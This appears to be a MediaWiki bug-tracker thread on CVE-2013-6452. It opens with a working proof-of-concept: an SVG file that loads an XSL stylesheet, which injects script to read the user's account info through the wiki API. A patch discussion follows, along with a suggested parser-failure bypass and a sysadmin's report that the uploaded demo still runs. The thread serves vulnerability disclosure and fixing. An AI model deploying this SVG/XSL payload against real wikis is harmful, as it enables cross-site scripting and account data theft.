Here's the content of the demo files for reproduction.

SVG:
<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="/w/index.php?title=User:Jeeves/test.xsl&amp;action=raw&amp;format=xml" ?>

<svg>

<height>50</height>
<width>100</width>

</svg>

XSL:
<?xml version="1.0"?>

<xsl:stylesheet version="1.0"

		xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
		xmlns="http://www.w3.org/2000/svg"
		>
  <xsl:output
      method="xml"
      indent="yes"
      standalone="no"
      doctype-public="-//W3C//DTD SVG 1.1//EN"
      doctype-system="http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"
      media-type="image/svg" />
  
  <xsl:template match="svg">
    <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" >
      <rect x="10" y="10" width="{width}" 
	    height="{height}" fill="red" stroke="black"/>  
    <script type="text/javascript"><![CDATA[
      function dostuff() {

var xmlhttp=new XMLHttpRequest();

xmlhttp.open("GET","/w/api.php?action=query&meta=userinfo&format=txt",false);
xmlhttp.send();
alert(xmlhttp.responseText);

     }

     dostuff(); 
  ]]></script>
  </svg>
</xsl:template>

</xsl:stylesheet>

Created attachment 13914
Disallow stylesheets in svg processing instructions

Patch to set a processing instruction handler in XmlTypeCheck, and the SVG processing uses that to disallow setting xml-stylesheet.

We could make it more specific to only disallow certain types of stylesheets, but I'd rather disallow them all, and whitelist any we need. I have 20k test images from commons, and none set an xml-stylesheet, so I think we're fairly safe just forbidding it.

I'd appreciate comments on the fix. I'll backport it to 1.19 for rationalwiki.

Attached:

Created attachment 13916
Disallow stylesheets in svg processing instructions (1.19 branch)

Attached:

This change is probably fine, but in looking at this type check code, I see a pre-existing issue that might allow it to be bypassed. A failure of xml_parse() will lead to the upload being accepted, so if it's possible to write an XML file that fails in xml_parse() but is accepted by a browser, then all the SVG checks would be bypassed, including this one.

I think that in UploadBase::detectScriptInSvg(), the upload should be rejected if $check->wellFormed is false.

This has been assigned CVE-2013-6452

Created attachment 14260
Disallow stylesheets in svg processing instructions (1.21 branch)

Attached:

Created attachment 14261
Disallow stylesheets in svg processing instructions (1.22 branch)

Attached:

In my role as sysadmin at RationalWiki.org, I just upgraded it to 1.19.10 - or thought I had - and Chris Davis' 'sploit link still runs the demo 'sploit for me:

http://rationalwiki.org/w/images/0/03/Silly_mediawiki.svg

Looking at includes/XmlTypeCheck.php and includes/upload/UploadBase.php in the RW installation, the patches in attachment 13916 appear to be present.

Should the demo 'sploit still work?

(In reply to comment #8)

Should the demo 'sploit still work?

From what I understand: the already-uploaded demo will continue to work, but you shouldn't be able to upload it any more.

Yeah, that'll do. Thank you :-) I just tested and get "This file contains HTML or script code that may be erroneously interpreted by a web browser." which is precisely right.

The original demo 'sploit SVG is still present in the file tree, so the link will work for an unspecified future length of time (probably until next major upgrade).

(In reply to comment #8)

In my role as sysadmin at RationalWiki.org, I just upgraded it to 1.19.10 -
or
thought I had - and Chris Davis' 'sploit link still runs the demo 'sploit for
me:

http://rationalwiki.org/w/images/0/03/Silly_mediawiki.svg

Looking at includes/XmlTypeCheck.php and includes/upload/UploadBase.php in
the
RW installation, the patches in attachment 13916 [details] appear to be
present.

Should the demo 'sploit still work?

Yes, the patch prevents the upload, but existing files will still be there.

Grepping for "<?xml-stylesheet" in your images would identify any that have previously come in.